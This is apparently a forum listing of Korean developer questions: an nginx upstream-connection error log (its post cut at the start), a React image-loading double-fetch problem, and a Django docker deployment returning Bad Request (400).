connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:30 [error] 9297#9297: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:38:11 [error] 9297#9297: *41 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 05:12:56 [error] 18216#18216: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80"
-
해결됨이미지 관리 풀스택(feat. Node.js, React, MongoDB, AWS)
첫 로드시 동일한 이미지 두번호출
일단 저는 공개/비공개는 제외하고 만들고 있었는데 ImageContext에서 prevDara를 추가한 이후로 첫 로드시에 첫번째 이미지 리스트들을 두번 호출하는데 어떤 방식으로 해결해야 할까요???옵저버가 발동 되면 두번째 페이지 리스트들은 한번만 호출이 되는데 첫번째 페이지에 해당되는 이미지들만 두번이 호출되버립니다 ㅠㅠ 깃허브에 임시로 올려두긴 했는데 다른 파일들은 문제가 없어 보이긴 합니다ㅠㅠuseEffect(() => { if(pastImageUrlRef.current === imageUrl) return; setImageLoad(true); axios .get(imageUrl) .then((result) => setImages((prevData) => [...prevData, ...result.data])) .catch((err) => { console.error(err); setImageError(err) }) .finally(() => { setImageLoad(false); pastImageUrlRef.current = imageUrl; }); }, [imageUrl]);
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
배포용 도커 컨테이너 실행이 안됩니다
docker-compose exec web python manage.py migrate를 했는데도 웹에 Bad Request (400) 라고 나옵니다docker-compose logs 내용인데 오류메시지가 어디있는지 모르겠어요